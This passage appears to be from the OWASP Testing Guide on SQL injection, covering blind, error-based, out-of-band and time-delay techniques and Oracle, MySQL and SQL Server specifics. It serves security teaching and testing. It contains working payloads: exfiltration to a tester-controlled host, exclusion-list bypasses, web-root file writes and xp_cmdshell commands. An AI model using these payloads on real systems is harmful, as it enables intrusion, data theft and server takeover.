SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
```

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the

value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.

Error based Exploitation technique

An Error based exploitation technique is useful when the tester for some reason can't exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

```
SELECT * FROM products WHERE id_product=$id_product
```

Consider also the request to a script who executes the query above:

```
http://www.example.com/product.php?id=10
```

The malicious request would be (e.g. Oracle 10g):

```
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--
```

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:

```
ORA-292257: host SCOTT unknown
```

Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.

Out of band Exploitation technique

This technique is very useful when the tester find a [Blind SQL Injection](#) situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester's server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Consider the following SQL query:

```
SELECT * FROM products WHERE id_product=$id_product
```

Consider also the request to a script who executes the query above:

```
http://www.example.com/product.php?id=10
```

The malicious request would be:

```
http://www.example.com/product.php?id=10||UTL_HTTP.request('testerserver.com:80'||(SELET user FROM DUAL))--
```

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to 'testerserver' and make a HTTP GET request containing the return from the query "SELECT user FROM DUAL". The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

```
/home/tester/nc -nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close
```

Time delay Exploitation technique

The Boolean exploitation technique is very useful when the tester find a [Blind SQL Injection](#) situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

```
SELECT * FROM products WHERE id_product=$id_product
```

Consider also the request to a script who executes the query above:

```
http://www.example.com/product.php?id=10
```

The malicious request would be (e.g. MySql 5.x):

```
http://www.example.com/product.php?id=10 AND IF(version() like '5%', sleep(10), 'false'))--
```

In this example the tester is checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn't need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

Stored Procedure Injection

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

Consider the following **SQL Server Stored Procedure**:

```
Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring = '
Select 1 from users
Where username = ' + @username + ' and passwd = ' + @passwd
exec(@sqlstring)
```



```
Go
```

```
User input:
anyusername or 1=1'
anypassword
```

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters.

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.

Consider the following **SQL Server Stored Procedure**:

```
Create
procedure get_report @columnnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = '
Select ' + @columnnamelist + ' from ReportTable'
exec(@sqlstring)
Go
```

```
User input:

1 from users; update users set password = 'password'; select *
```

This will result in the report running and all users' passwords being updated.

Automated Exploitation

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

Tools

- SQL Injection Fuzz Strings (from wfuzz tool) - <https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt>
- [OWASP SQLiX](#)
- Francois Larouche: Multiple DBMS SQL Injection tool - [SQL Power Injector](#)
- ilo--, Reversing.org - [sqlbftools](#)
- Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - <http://sqlmap.org/>
- icesurfer: SQL Server Takeover Tool - [sqlninja](#)
- Pangolin: Automated SQL Injection Tool - [Pangolin](#)
- Muhaimin Dzulfakar: MySQLoIt, MySQL Injection takeover tool - <http://code.google.com/p/mysqlloit/>
- Antonio Parata: Dump Files by SQL inference on MySQL - [SqlDumper](#)
- [bsqlbf, a blind SQL injection tool](#) in Perl

References

- [Top 10 2013-A1-Injection](#)

- [SQL Injection](#)

Technology specific Testing Guide pages have been created for the following DBMSs:

- [Oracle](#)
- [MySQL](#)
- [SQL Server](#)

Whitepapers

- Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
- Chris Anley: "Advanced SQL Injection In SQL Server Applications" - <https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf>
- Chris Anley: "More Advanced SQL Injection" - http://www.encryption.co.uk/downloads/more_advanced_sql_injection.pdf
- David Litchfield: "Data-mining with SQL Injection and Inference" - <http://www.databasesecurity.com/webapps/sqlinference.pdf>
- Imperva: "Blinded SQL Injection" - <https://www.imperva.com/ig/igw.asp?pid=369>
- Ferruh Mavituna: "SQL Injection Cheat Sheet" - <http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>
- Kevin Spett from SPI Dynamics: "SQL Injection" - <https://docs.google.com/file/d/0B5CQOTY4YRQC5WRHNkNaaFMyQTA/edit>
- Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

Oracle Testing

Summary

Web based PL/SQL applications are enabled by the PL/SQL Gateway, which is the component that translates web requests into database queries. Oracle has developed a number of software implementations, ranging from the early web listener product to the Apache mod_plsql module to the XML Database (XDB) web server. All have their own quirks and issues, each of which will be thoroughly investigated in this chapter. Products that use the PL/SQL Gateway include, but are not limited to, the Oracle HTTP Server, eBusiness Suite, Portal, HTMLDB, WebDB and Oracle Application Server.

How to Test

How the PL/SQL Gateway works

Essentially the PL/SQL Gateway simply acts as a proxy server taking the user's web request and passes it on to the database server where it is executed.

1. The web server accepts a request from a web client and determines if it should be processed by the PL/SQL Gateway.
2. The PL/SQL Gateway processes the request by extracting the requested package name, procedure, and variables.
3. The requested package and procedure are wrapped in a block of anonymous PL/SQL, and sent to the database server.
4. The database server executes the procedure and sends the results back to the Gateway as HTML.
5. The gateway sends the response, via the web server, back to the client.

Understanding this point is important - the PL/SQL code does not exist on the web server but, rather, in the database server. This means that any weaknesses in the PL/SQL Gateway or any weaknesses in the PL/SQL application, when exploited, give an attacker direct access to the database server; no amount of firewalls will prevent this.

URLs for PL/SQL web applications are normally easily recognizable and generally start with the following (xyz can be any string and represents a Database Access Descriptor, which you will learn more about later):

```
http://www.example.com/pls/xyz
http://www.example.com/xyz/owa
http://www.example.com/xyz/plsql
```

While the second and third of these examples represent URLs from older versions of the PL/SQL Gateway, the first is from more recent versions running on Apache. In the plsql.conf Apache configuration file, /pls is the default, specified as a Location with the PLS module as the handler. The location need not be /pls, however. The absence of a file extension in a URL could indicate the presence of the Oracle PL/SQL Gateway. Consider the following URL:

```
http://www.server.com/aaa/bbb/xxxxx.yyyyy
```

If xxxxx.yyyyy were replaced with something along the lines of "ebank.home," "store.welcome," "auth.login," or "books.search," then there's a fairly strong chance that the PL/SQL Gateway is being used. It is also possible to precede the requested package and procedure with the name of the user that owns it - i.e. the schema - in this case the user is "webuser":

```
http://www.server.com/pls/xyz/webuser.pkg.proc
```

In this URL, xyz is the Database Access Descriptor, or DAD. A DAD specifies information about the database server so that the PL/SQL Gateway can connect. It contains information such as the TNS connect string, the user ID and password, authentication methods, and so on. These DADs are specified in the `dads.conf` Apache configuration file in more recent versions or the `wdbsvr.app` file in older versions. Some default DADs include the following:

```
SIMPLEDAD
HTMLDB
ORASSO
SSODAD
PORTAL
PORTAL2
PORTAL30
PORTAL30_SSO
TEST
DAD
APP
ONLINE
DB
OWA
```

Determining if the PL/SQL Gateway is running

When performing an assessment against a server, it's important first to know what technology you're actually dealing with. If you don't already know, for example, in a black box assessment scenario, then the first thing you need to do is work this out. Recognizing a web based PL/SQL application is pretty easy. First, there is the format of the URL and what it looks like, discussed above. Beyond that there are a set of simple tests that can be performed to test for the existence of the PL/SQL Gateway.

Server response headers

The web server's response headers are a good indicator as to whether the server is running the PL/SQL Gateway. The table below lists some of the typical server response headers:

```
Oracle-Application-Server-10g
Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server
Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server
Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)
Oracle-Application-Server-10g/9.0.4.0.0
Oracle HTTP Server Powered by Apache
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3a
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3d
Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.3c
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/3.0.9.8.3b
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/9.0.2.0.0
Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition
Oracle_Web_Listener/4.0.8.2EnterpriseEdition
Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition
Oracle_Web_listener3.0.2.0.0/2.14FC1
Oracle9iAS/9.0.2 Oracle HTTP Server
Oracle9iAS/9.0.3.1 Oracle HTTP Server
```

The NULL test

In PL/SQL, "null" is a perfectly acceptable expression:

```
SQL> BEGIN
2  NULL;
3  END;
4  /
```

PL/SQL procedure successfully completed.

We can use this to test if the server is running the PL/SQL Gateway. Simply take the DAD and append NULL, then append NOSUCHPROC:

```
http://www.example.com/pls/dad/null
http://www.example.com/pls/dad/nosuchproc
```

If the server responds with a 200 OK response for the first and a 404 Not Found for the second then it indicates that the server is running the PL/SQL Gateway.

Known package access

On older versions of the PL/SQL Gateway, it is possible to directly access the packages that form the PL/SQL Web Toolkit such as the OWA and HTP packages. One of these packages is the OWA_UTIL package, which we'll speak about more later on. This package contains a procedure called SIGNATURE and it simply outputs in HTML a PL/SQL signature. Thus requesting

```
http://www.example.com/pls/dad/owa_util.signature
```

returns the following output on the webpage

```
"This page was produced by the PL/SQL Web Toolkit on date"
```

or

```
"This page was produced by the PL/SQL Cartridge on date"
```

If you don't get this response but a 403 Forbidden response then you can infer that the PL/SQL Gateway is running. This is the response you should get in later versions or patched systems.

Accessing Arbitrary PL/SQL Packages in the Database

It is possible to exploit vulnerabilities in the PL/SQL packages that are installed by default in the database server. How you do this depends on the version of the PL/SQL Gateway. In earlier versions of the PL/SQL Gateway, there was nothing to stop an attacker from accessing an arbitrary PL/SQL package in the database server. We mentioned the OWA_UTIL package earlier. This can be used to run arbitrary SQL queries:

```
http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS
```

Cross Site Scripting attacks could be launched via the HTP package:

```
http://www.example.com/pls/dad/HTP.PRINT?CBUF=<script>alert('XSS')</script>
```

Clearly, this is dangerous, so Oracle introduced a PLSQL Exclusion list to prevent direct access to such dangerous procedures. Banned items include any request starting with SYS., *any request starting with DBMS_*, any request with HTP. or OWA. It is possible to bypass the exclusion list however. What's more, the exclusion list does not prevent access to packages in the CTXSYS and MDSYS schemas or others, so it is possible to exploit flaws in these packages:

```
http://www.example.com/pls/dad/CTXSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL
```

This will return a blank HTML page with a 200 OK response if the database server is still vulnerable to this flaw (CVE-2006-0265)

Testing the PL/SQL Gateway For Flaws

Over the years, the Oracle PL/SQL Gateway has suffered from a number of flaws, including access to admin pages (CVE-2002-0561), buffer overflows (CVE-2002-0559), directory traversal bugs, and vulnerabilities that allow attackers to bypass the Exclusion List and go on to access and execute arbitrary PL/SQL packages in the database server.

Bypassing the PL/SQL Exclusion List

It is incredible how many times Oracle has attempted to fix flaws that allow attackers to bypass the exclusion list. Each patch that Oracle has produced has fallen victim to a new bypass technique. The history of this sorry story can be found here: <http://seclists.org/fulldisclosure/2006/Feb/0011.html>

Bypassing the Exclusion List - Method 1

When Oracle first introduced the PL/SQL Exclusion List to prevent attackers from accessing arbitrary PL/SQL packages, it could be trivially bypassed by preceding the name of the schema/package with a hex encoded newline character or space or tab:

```
http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC
http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC
```

Bypassing the Exclusion List - Method 2

Later versions of the Gateway allowed attackers to bypass the exclusion list by preceding the name of the schema/package with a label. In PL/SQL a label points to a line of code that can be jumped to using the GOTO statement and takes the following form: <>

```
http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC
```

Bypassing the Exclusion List - Method 3

Simply placing the name of the schema/package in double quotes could allow an attacker to bypass the exclusion list. Note that this will not work on Oracle Application Server 10g as it converts the user's request to lowercase before sending it to the database server and a quote literal is case sensitive - thus "SYS" and "sys" are not the same and requests for the latter will result in a 404 Not Found. On earlier versions though the following can bypass the exclusion list:

```
http://www.example.com/pls/dad/"SYS".PACKAGE.PROC
```

Bypassing the Exclusion List - Method 4

Depending upon the character set in use on the web server and on the database server, some characters are translated. Thus, depending upon the character sets in use, the "ÿ" character (0xFF) might be converted to a "Y" at the database server. Another character that is often converted to an upper case "Y" is the Macron character - 0xAF. This may allow an attacker to bypass the exclusion list:

```
http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC
http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC
```

Bypassing the Exclusion List - Method 5

Some versions of the PL/SQL Gateway allow the exclusion list to be bypassed with a backslash - 0x5C:

```
http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC
```

Bypassing the Exclusion List - Method 6

This is the most complex method of bypassing the exclusion list and is the most recently patched method. If we were to request the following

```
http://www.example.com/pls/dad/foo.bar?xyz=123
```

the application server would execute the following at the database server:

```

1 declare
2   rc__ number;
3   start_time__ binary_integer;
4   simple_list__ owa_util.vc_arr;
5   complex_list__ owa_util.vc_arr;
6 begin
7   start_time__ := dbms_utility.get_time;
8   owa.init_cgi_env(:n__, :nm__, :v__);
9   http.htbuf_len := 255;
10  null;
11  null;
12  simple_list__(1) := 'sys.%';
13  simple_list__(2) := 'dbms\_%';
14  simple_list__(3) := 'utl\_%';
15  simple_list__(4) := 'owa\_%';
16  simple_list__(5) := 'owa.%';
17  simple_list__(6) := 'http.%';
18  simple_list__(7) := 'htf.%';
19  if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true)) then
20    rc__ := 2;
21  else
22    null;
23    orasso.wpg_session.init();
24    foo.bar(XYZ=>XYZ);
25    if (wpg_docload.is_file_download) then
26      rc__ := 1;
27      wpg_docload.get_download_file(:doc_info);
28      orasso.wpg_session.deinit();
29      null;
30      null;
31      commit;
32    else
33      rc__ := 0;
34      orasso.wpg_session.deinit();
35      null;
36      null;
37      commit;
38      owa.get_page(:data__, :ndata__);
39    end if;
40  end if;
41  :rc__ := rc__;
42  :db_proc_time__ := dbms_utility.get_time-start_time__;
43 end;
```

Notice lines 19 and 24. On line 19, the user's request is checked against a list of known "bad" strings, i.e., the exclusion list. If the requested package and procedure do not contain bad strings, then the procedure is executed on line 24. The XYZ parameter is passed as a bind variable.

If we then request the following:

```
http://server.example.com/pls/dad/INJECT'POINT
```

the following PL/SQL is executed:

```

..
18 simple_list__(7) := 'htf.%';
19 if ((owa_match.match_pattern('inject'point', simple_list__, complex_list__, true))) then
20   rc__ := 2;
21 else
22   null;
23   orasso.wpg_session.init();
24   inject'point;
..

```

This generates an error in the error log: “PLS-00103: Encountered the symbol ‘POINT’ when expecting one of the following. . .” What we have here is a way to inject arbitrary SQL. This can be exploited to bypass the exclusion list. First, the attacker needs to find a PL/SQL procedure that takes no parameters and doesn’t match anything in the exclusion list. There are a good number of default packages that match this criteria, for example:

```

JAVA_AUTONOMOUS_TRANSACTION.PUSH
XMLGEN.USELOWERCASETAGNAMES
PORTAL.WWV_HTTP.CENTERCLOSE
ORASSO.HOME
WWC_VERSION.GET_HTTP_DATABASE_INFO

```

An attacker should pick one of these functions that is actually available on the target system (i.e., returns a 200 OK when requested). As a test, an attacker can request

```
http://server.example.com/pls/dad/orasso.home?F00=BAR
```

the server should return a “404 File Not Found” response because the orasso.home procedure does not require parameters and one has been supplied. However, before the 404 is returned, the following PL/SQL is executed:

```

..
..
if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then
  rc__ := 2;
else
  null;
  orasso.wpg_session.init();
  orasso.home(F00=>:F00);
..
..

```

Note the presence of FOO in the attacker’s query string. Attackers can abuse this to run arbitrary SQL. First, they need to close the brackets:

```
http://server.example.com/pls/dad/orasso.home?);--=BAR
```

This results in the following PL/SQL being executed:

```

..
orasso.home();--=>);--);
..

```

Note that everything after the double minus (--) is treated as a comment. This request will cause an internal server error

because one of the bind variables is no longer used, so the attacker needs to add it back. As it happens, it's this bind variable that is the key to running arbitrary PL/SQL. For the moment, they can just use HTP.PRINT to print BAR, and add the needed bind variable as :1:

```
http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR
```

This should return a 200 with the word "BAR" in the HTML. What's happening here is that everything after the equals sign - BAR in this case - is the data inserted into the bind variable. Using the same technique it's possible to also gain access to owa_util.cellsprint again:

```
http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS
```

To execute arbitrary SQL, including DML and DDL statements, the attacker inserts an execute immediate :1:

```
http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual
```

Note that the output won't be displayed. This can be leveraged to exploit any PL/SQL injection bugs owned by SYS, thus enabling an attacker to gain complete control of the backend database server. For example, the following URL takes advantage of the SQL injection flaws in DBMS_EXPORT_EXTENSION (see <http://secunia.com/advisories/19860>)

```
http://www.example.com/pls/dad/orasso.home?);
execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES
('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1);
EXECUTE%20IMMEDIATE%20*CREATE%20OR%20REPLACE%20
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL* ;
END;--','SYS',1,'VER',0);END;
```

Assessing Custom PL/SQL Web Applications

During black box security assessments, the code of the custom PL/SQL application is not available, but it still needs to be assessed for security vulnerabilities.

Testing for SQL Injection

Each input parameter should be tested for SQL injection flaws. These are easy to find and confirm. Finding them is as easy as embedding a single quote into the parameter and checking for error responses (which include 404 Not Found errors). Confirming the presence of SQL injection can be performed using the concatenation operator.

For example, assume there is a bookstore PL/SQL web application that allows users to search for books by a given author:

```
http://www.example.com/pls/bookstore/books.search?author=DICKENS
```

If this request returns books by Charles Dickens, but

```
http://www.example.com/pls/bookstore/books.search?author=DICK'ENS
```

returns an error or a 404, then there might be a SQL injection flaw. This can be confirmed by using the concatenation operator:

```
http://www.example.com/pls/bookstore/books.search?author=DICK' || 'ENS
```

If this request returns books by Charles Dickens, you've confirmed the presence of the SQL injection vulnerability.

Tools

- SQLInjector - <http://www.databassecurity.com/sql-injector.htm>
- Orascan (Oracle Web Application VA scanner), NGS SQuirreL (Oracle RDBMS VA Scanner) - <http://www.nccgroup.com/en/our-services/security-testing-audit-compliance/information-security-software/ngs-orascan/>

References

Whitepapers

- Hackproofing Oracle Application Server (A Guide to Securing Oracle 9) - <http://www.itsec.gov.cn/docs/20090507151158287612.pdf>
- Oracle PL/SQL Injection - <http://www.databassecurity.com/oracle/oracle-plsql-2.pdf>

MySQL Testing

Summary

[SQL Injection](#) vulnerabilities occur whenever input is used in the construction of a SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.

MySQL server has a few particularities so that some exploits need to be specially customized for this application. That's the subject of this section.

How to Test

When an SQL injection vulnerability is found in an application backed by a MySQL database, there are a number of attacks that could be performed depending on the MySQL version and user privileges on DBMS.

MySQL comes with at least four versions which are used in production worldwide, 3.23.x, 4.0.x, 4.1.x and 5.0.x. Every version has a set of features proportional to version number.

- From Version 4.0: UNION
- From Version 4.1: Subqueries
- From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA
- From Version 5.0.2: Triggers

It should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or UNION statements were not implemented.

From now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the the one described in the Section on [Testing for SQL Injection](#).

```
http://www.example.com/page.php?id=2
```

The Single Quotes Problem

Before taking advantage of MySQL features, it has to be taken in consideration how strings could be represented in a statement, as often web applications escape single quotes.

MySQL quote escaping is the following:

'A string with \'quotes'

That is, MySQL interprets escaped apostrophes (\\) as characters and not as metacharacters.

So if the application, to work properly, needs to use constant strings, two cases are to be differentiated:

1. Web app escapes single quotes (' => \\')
2. Web app does not escape single quotes (' => ')

Under MySQL, there is a standard way to bypass the need of single quotes, having a constant string to be declared without the need for single quotes.

Let's suppose we want to know the value of a field named 'password' in a record, with a condition like the following:

1. password like 'A%'
2. The ASCII values in a concatenated hex:
password LIKE 0x4125
3. The char() function: password LIKE CHAR(65,37)

Multiple mixed queries:

MySQL library connectors do not support multiple queries separated by ';' so there's no way to inject multiple non-homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server.

For example the following injection will result in an error:

```
1 ; update tablename set code='javascript code' where 1 --
```

Information gathering

Fingerprinting MySQL

Of course, the first thing to know is if there's MySQL DBMS as a back end database. MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL dialect. When a comment block ('/**/') contains an exclamation mark ('! sql here/') it is interpreted by MySQL, and is considered as a normal comment block by other DBMS as explained in [MySQL manual](#).

Example:

```
1 /*! and 1=0 */
```

Result Expected:

If MySQL is present, the clause inside the comment block will be interpreted.

Version

There are three ways to gain this information:

1. By using the global variable @@version
2. By using the function [VERSION()]
3. By using comment fingerprinting with a version number *!/40110 and 1=0/* which means

```
if(version >= 4.1.10)
  add 'and 1=0' to the query.
```

These are equivalent as the result is the same.

In band injection:

```
1 AND 1=0 UNION SELECT @@version /*
```

Inferential injection:

```
1 AND @@version like '4.0%'
```

Result Expected:

A string like this:

```
5.0.22-log
```

Login User

There are two kinds of users MySQL Server relies upon.

1. [USER()]: the user connected to the MySQL Server.
2. [CURRENT_USER()]: the internal user who is executing the query.

There is some difference between 1 and 2. The main one is that an anonymous user could connect (if allowed) with any name, but the MySQL internal user is an empty name (). *Another difference is that a stored procedure or a stored function are executed as the creator user, if not declared elsewhere. This can be known by using *CURRENT_USER.*

In band injection:

```
1 AND 1=0 UNION SELECT USER()
```

Inferential injection:

```
1 AND USER() like 'root%'
```

Result Expected:

A string like this:

```
user@hostname
```

Database name in use

There is the native function DATABASE()

In band injection:

```
1 AND 1=0 UNION SELECT DATABASE()
```

Inferential injection:

```
1 AND DATABASE() like 'db%'
```

Result Expected:

A string like this:

```
dbname
```

INFORMATION_SCHEMA

From MySQL 5.0 a view named `[INFORMATION_SCHEMA]` was created. It allows us to get all informations about databases, tables, and columns, as well as procedures and functions.

Here is a summary of some interesting Views.

Tables_in_INFORMATION_SCHEMA	DESCRIPTION
..[skipped]..	..[skipped]..
SCHEMATA	All databases the user has (at least) SELECT_priv
SCHEMA_PRIVILEGES	The privileges the user has for each DB
TABLES	All tables the user has (at least) SELECT_priv
TABLE_PRIVILEGES	The privileges the user has for each table
COLUMNS	All columns the user has (at least) SELECT_priv
COLUMN_PRIVILEGES	The privileges the user has for each column
VIEWS	All columns the user has (at least) SELECT_priv
ROUTINES	Procedures and functions (needs EXECUTE_priv)
TRIGGERS	Triggers (needs INSERT_priv)
USER_PRIVILEGES	Privileges connected User has

All of this information could be extracted by using known techniques as described in SQL Injection section.

Attack vectors

Write in a File

If the connected user has **FILE** privileges and single quotes are not escaped, the 'into outfile' clause can be used to export query results in a file.

```
Select * from table into outfile '/tmp/file'
```

Note: there is no way to bypass single quotes surrounding a filename. So if there's some sanitization on single quotes like escape (`\'`) there will be no way to use the 'into outfile' clause.

This kind of attack could be used as an out-of-band technique to gain information about the results of a query or to write a file which could be executed inside the web server directory.

Example:

```
1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '///' LINES TERMINATED BY '\n<%jsp code here%>';
```

Result Expected:

Results are stored in a file with rw-rw-rw privileges owned by MySQL user and group.

Where `/var/www/root/test.jsp` will contain:

```
//field values//
<%jsp code here%>
```

Read from a File

`Load_file` is a native function that can read a file when allowed by the file system permissions. If a connected user has **FILE** privileges, it could be used to get the files' content. Single quotes escape sanitization can be bypassed by using previously described techniques.

```
load_file('filename')
```

Result Expected:

The whole file will be available for exporting by using standard techniques.

Standard SQL Injection Attack

In a standard SQL injection you can have results displayed directly in a page as normal output or as a MySQL error. By using already mentioned SQL Injection attacks and the already described MySQL features, direct SQL injection could be easily accomplished at a level depth depending primarily on the MySQL version the pentester is facing.

A good attack is to know the results by forcing a function/procedure or the server itself to throw an error. A list of errors thrown by MySQL and in particular native functions could be found on [MySQL Manual](#).

Out of band SQL Injection

Out of band injection could be accomplished by using the `'into outfile'` clause.

Blind SQL Injection

For blind SQL injection, there is a set of useful function natively provided by MySQL server.

- String Length:
 - `LENGTH(str)`
- Extract a substring from a given string:
 - `SUBSTRING(string, offset, #chars_returned)`
- Time based Blind Injection: `BENCHMARK` and `SLEEP`
 - `BENCHMARK(#ofcycles,action_to_be_performed)`
 - The benchmark function could be used to perform timing attacks, when blind injection by boolean values does not yield any results.
 - See. `SLEEP()` (MySQL > 5.0.x) for an alternative on benchmark.

For a complete list, refer to the MySQL manual at <http://dev.mysql.com/doc/refman/5.0/en/functions.html>

Tools

- Francois Larouche: Multiple DBMS SQL Injection tool - <http://www.sqlpowerinjector.com/index.htm>
- ilo--, Reversing.org - [sqlbftools](#)
- Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - <http://sqlmap.org/>
- Muhaimin Dzulfakar: MySqlloit, MySql Injection takeover tool - <http://code.google.com/p/mysqlloit/>

- <http://sqlsus.sourceforge.net/>

References

Whitepapers

- Chris Anley: "Hackproofing MySQL" - <http://www.databasesecurity.com/mysql/HackproofingMySQL.pdf>

Case Studies

- Zeelock: Blind Injection in MySQL Databases - <http://archive.cert.uni-stuttgart.de/bugtraq/2005/02/msg00289.html>

SQL Server Testing

Summary

In this section some [SQL Injection](#) techniques that utilize specific features of Microsoft SQL Server will be discussed.

SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute SQL code under the privileges of the user used to connect to the database.

As explained in [SQL injection](#), a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:

- Application parameters in query strings (e.g., GET requests)
- Application parameters included as part of the body of a POST request
- Browser-related information (e.g., user-agent, referrer)
- Host-related information (e.g., host name, IP)
- Session-related information (e.g., user ID, cookies)

Microsoft SQL server has a few unique characteristics, so some exploits need to be specially customized for this application.

How to Test

SQL Server Characteristics

To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:

- comment operator: `--` (useful for forcing the query to ignore the remaining portion of the original query; this won't be necessary in every case)
- query separator: `;` (semicolon)
- Useful stored procedures include:
 - [xp_cmdshell](#) executes any command shell in the server with the same permissions that it is currently running. By default, only **sysadmin** is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using `sp_configure`)
 - **xp_regread** reads an arbitrary value from the Registry (undocumented extended procedure)
 - **xp_regwrite** writes an arbitrary value into the Registry (undocumented extended procedure)
 - [sp_makewebtask](#) Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires **sysadmin** privileges.
 - [xp_sendmail](#) Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.

Let's see now some examples of specific SQL Server attacks that use the aforementioned functions. Most of these examples will use the **exec** function.

Below we show how to execute a shell command that writes the output of the command `dir c:\inetpub` in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses `xp_cmdshell`:

```
exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--
```

Alternatively, we can use `sp_makewebtask`:

```
exec sp_makewebtask 'C:\inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--
```

A successful execution will create a file that can be browsed by the pen tester. Keep in mind that `sp_makewebtask` is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future.

